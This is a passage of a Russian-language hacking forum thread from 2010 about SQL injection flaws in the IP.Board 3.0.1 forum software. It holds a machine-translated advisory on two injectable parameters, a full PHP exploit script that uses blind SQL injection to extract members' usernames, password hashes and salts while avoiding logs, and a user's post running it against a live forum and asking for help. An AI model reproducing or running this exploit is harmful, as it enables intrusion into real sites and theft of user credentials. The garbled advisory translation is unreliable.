ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #41  
Старый 20.03.2010, 23:32
Аватар для adzona
adzona
Познающий
Регистрация: 07.06.2008
Сообщений: 32
Провел на форуме:
233970

Репутация: 7
По умолчанию

1) SQL Injection в "search.php"
С помощью параметра "search_term" можно выполнить произвольные SQL запросы о сервере баз данных.
Из admin/applications/core/modules_public/search/search.php
Цитата:
-------------------------------------------------------------
public function searchResults()
{
/* Search Term */
$search_term = str_replace( """, '"', urldecode( $this->request['search_term'] ) );
$search_term = str_replace( "&", '&', $search_term );
...
/* Count the number of results */
$total_results = $this->search_plugin->getSearchCount( $search_term, ', $content_titles_only );
-------------------------------------------------------------
Как показано выше, представленные пользователем параметра "search_term" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в запрос HTTP, затем "urldecode ()" получит аргумент "27%", а после urldecoding оно будет " '" (одиночная кавычка).
Цитата:
forum/index.php?app=core&module=search&do=quick_search&s earch_filter_app[forums]=
содержание

admin/applications/forums/extensions/searchPlugin.php
Цитата:
-------------------------------------------------------------
public function getSearchCount( $search_term, $group_by='', $content_title_only=false ) {
...
{
/* Query the count */
$this->DB->build( array(
'select' => 'COUNT(*) as total_results',
'from' => array( 'posts' => 'p' ),
'where' => $this->_buildWhereStatement( $search_term,
$content_title_only ),
'group' => $group_by,
'add_join' => array(
...
$this->DB->execute();
-------------------------------------------------------------
Исходный код показывает, что потенциально небезопасных переменная "search_term" используется для построения SQL-запросов.
Очевидно, данные санитарной обработки после использования "urldecode ()" это необходимо, но в данном случае не имеется достаточных санации Данные, введенные пользователем.
Таким образом, удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации, для примера полномочия администратора.

2) SQL-инъекция в "lostpass.php"

С помощью unsanitized пользователей представленных данных в SQL запросов с помощью параметра "помощь", проверку подлинности удаленного злоумышленника может привести IP.Board выполнить произвольные SQL заявления о сервере баз данных.
Цитата:
From "admin/applications/core/modules_public/global/lostpass.php" line ~430
-------------------------------------------------------------
public function lostPasswordValidateForm( $msg='' ) {
...
if( $this->request['uid'] AND $this->request['aid'] )
{
$in_user_id = intval( trim( urldecode( $this->request['uid'] ) ) );
$in_validate_key = trim( urldecode( $this->request['aid'] ) );
$in_type = trim( $this->request['type'] );

...
if (! IPSText::md5Clean( $in_validate_key ) )
{
$this->registry->output->showError( 'validation_key_incorrect', 10113 );
}

if (! preg_match( "/^(?:\d){1,}$/", $in_user_id ) )
{
$this->registry->output->showError( 'uid_key_incorrect', 10114 );
}

/* Attempt to get the profile of the requesting user */
$member = IPSMember::load( $in_user_id );

if( ! $member['member_id'] )
{
$this->registry->output->showError( 'lostpass_no_member', 10115 );
}

/* Get validating info.. */
$validate = $this->DB->buildAndFetch( array( 'select' => '*', 'from' => 'validating',
'where' => "member_id={$in_user_id} and vid='{$in_validate_key}'
and lost_pass=1" ) );
-------------------------------------------------------------
Как видно выше, пользователь представленного параметром "помощи" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в GET запросе, а затем "urldecode () будет получать аргументы, как" 27% ", а после urldecoding оно будет" ' "(одиночная кавычка).

Переменная "in_validate_key" Предположим, что это будет Sanitized этой функции:
Цитата:
-------------------------------------------------------------
static public function md5Clean( $text ) {
return preg_replace( "/[^a-zA-Z0-9]/", "" , substr( $text, 0, 32 ) ); }
-------------------------------------------------------------
Однако, "md5Clean ()" Неправильно используется в данном случае, и поэтому оно не делает его работу, как ожидалось.

Чтобы результат удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации или обхода контроля доступа.
 
Ответить с цитированием

  #42  
Старый 21.03.2010, 01:08
Аватар для adzona
adzona
Познающий
Регистрация: 07.06.2008
Сообщений: 32
Провел на форуме:
233970

Репутация: 7
По умолчанию

Объясните или (желательно ) покажите на этом примере как составить SQL запрос?
Единственное что я понял что уязвимы файлы search.php и lostpass.php
 
Ответить с цитированием

IPB 3.0.1 sql injection exploit
  #43  
Старый 10.05.2010, 19:26
Аватар для freecold
freecold
Новичок
Регистрация: 06.04.2010
Сообщений: 11
Провел на форуме:
43563

Репутация: 0
По умолчанию IPB 3.0.1 sql injection exploit

<?php
error_reporting(E_ALL);
//////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB 3.0.1 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// 31. january 2010
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//================================================== ===================
$cli = php_sapi_name() === 'cli';
//================================================== ===================
// Die, if executed from webserver
//================================================== ===================
if(!$cli)
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Error!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "This script will not run through a webserver.<br />\n";
echo "</center></body></html>\n";
exit;
}
//================================================== ===================
// Print the awesome de.crypt.in logo
//================================================== ===================
echo "\n _ _ _ ";
echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ ";
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |";
echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|";
echo "\n |___/|_| \n\n";
//================================================== ===================
// Check if all command line arguments were passed
//================================================== ===================
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";
echo "\n";
echo "NOTE: Login and password are optional, use for forums that require registration.\n";
echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";
echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";
die;
}
//================================================== ===================
// Set some important variables...
//================================================== ===================
$topicname = '';
$url = $argv[1];
$chosen_id = $argv[2];
$ch_option = $argv[3];
if(isset($argv[4])){
if(isset($argv[5])){
$user_login = $argv[4];
$user_pass = $argv[5];
}
else{
echo "Error: Password not specified with username\n";
die;
}
}
# Proxy settings
# Be sure to use proxy
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipb_log.txt'; //Log file

if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//================================================== ===================
xecho("Target: $url\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("======================================== ==");
add_line("Target: $url");
if(isset($argv[4])){
login_to_forum($argv[4], $argv[5]);
}
$i = $chosen_id;
echo "Fetching topics from ID $i\n";
if(!fetch_target_id($i))
{
echo "No topics found.\n";
fwrite(STDOUT, "Last ditch effort, enter topic: ");
$topicname = trim(fgets(STDIN));
}
else echo "Topic found! Hacktime.\n";

// Check chosen option and proceed accordingly
add_line("------------------------------------------");
if($ch_option == 2){
$hash = get_hash($i);
$salt = get_salt($i);
$line = "$i:$hash:$salt";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");
}
else if($ch_option == 1){
$uname = get_user($i);
$line = "The username for id $i is $uname";
add_line($line);
xecho("$uname");
}
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
die(" \n");
//////////////////////////////////////////////////////////////////////
function login_to_forum($user, $pass)
{
global $url;
$post = 'app=core&module=global&section=login&do=process&u sername='.$user.'&password='.$pass.'&rememberMe=1' ;
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'The login was successful!')>0){
xecho("Logged in.\n");
}
else{
xecho("Error: Unable to login.");
die;
}
}
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;

$post = 'app=core&module=search&section=search&do=quick_se arch&search_app=core&fromsearch=1&search_filter_ap p%5Ball%5D=1&content_title_only=1&search_term=test %2527';
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Moved Permanently')>0)
{
die('Ivalid. Try adding trailing slash to url. Exiting ...');
}

if(strpos($buff,'No results found for')>0)
{
die('Target is patched? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function fetch_target_id($id)
{
global $url, $topicname;
$post = 'app=core&module=search&do=user_posts&mid='.$id.'& view_by_title=1&search_filter_app%5Bforums%5D=1';
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'View result')>0){
$location = strpos($buff,'View result');
$start = strpos($buff,'>',$location)+1;
$end = strpos($buff,'</a>',$start);
$topicname = substr($buff,$start,($end-$start));
return true;
}
else return false;
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_user($id)
{
$len = 32;
$out = '';

xecho("Finding username ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_userchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current username: $out \n");
}

xecho("\nFinal username for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_userchar($pos, $id)
{
global $prefix;

$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';

// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);

if($letter)
{
$min = 65;
$max = 122;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
global $topicname;

$bret = false;
$maxtry = 10;
$try = 1;

$pattern = 'app=core&module=search&section=search&do=quick_se arch&search_app=core&fromsearch=1&search_filter_ap p%%5Ball%%5D=1&content_title_only=1&search_term='. $topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;
$post = sprintf($pattern, $p);

while(1)
{
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Your search for the term <em><strong>')>0)
{
$bret = true;
break;
}
elseif(strpos($buff,'No results found for')>0)
{
break;
}
elseif(strpos($buff, 'Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");
xecho("This is going to take years...\n");
sleep(10);
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');


if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\r\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
///////////////////////////////////////////////////////////////////////
?>
 
Ответить с цитированием

  #44  
Старый 28.05.2010, 01:51
Аватар для kacergei
kacergei
Новичок
Регистрация: 26.05.2007
Сообщений: 8
Провел на форуме:
23906

Репутация: -5
Unhappy

Цитата:
Сообщение от freecold  
IPB 3.0.1 sql injection exploit
Вот результат работы:
Код HTML:
Curl loading success
Target: http://forums.domen.ru/
Testing target URL ...
Target URL seems to be valid
Fetching topics from ID 3
No topics found.
Last ditch effort, enter topic: 7557
Finding hash ...
test_condition() - try 1 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 2 ...
test_condition() - try 2 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 3 ...
test_condition() - try 3 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 4 ...
test_condition() - try 4 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 5 ...
test_condition() - try 5 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 6 ...
test_condition() - try 6 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 7 ...
test_condition() - try 7 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 8 ...
test_condition() - try 8 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 9 ...
test_condition() - try 9 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 10 ...
test_condition() - try 10 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Too many tries - exiting ...
Как он работает не очень понял можно поподробней а то он чтот не хочет работать

Последний раз редактировалось kacergei; 28.05.2010 в 01:55..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
[Обзор уязвимостей XMBForum] [x26]VOLAND Форумы 0 19.05.2008 13:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ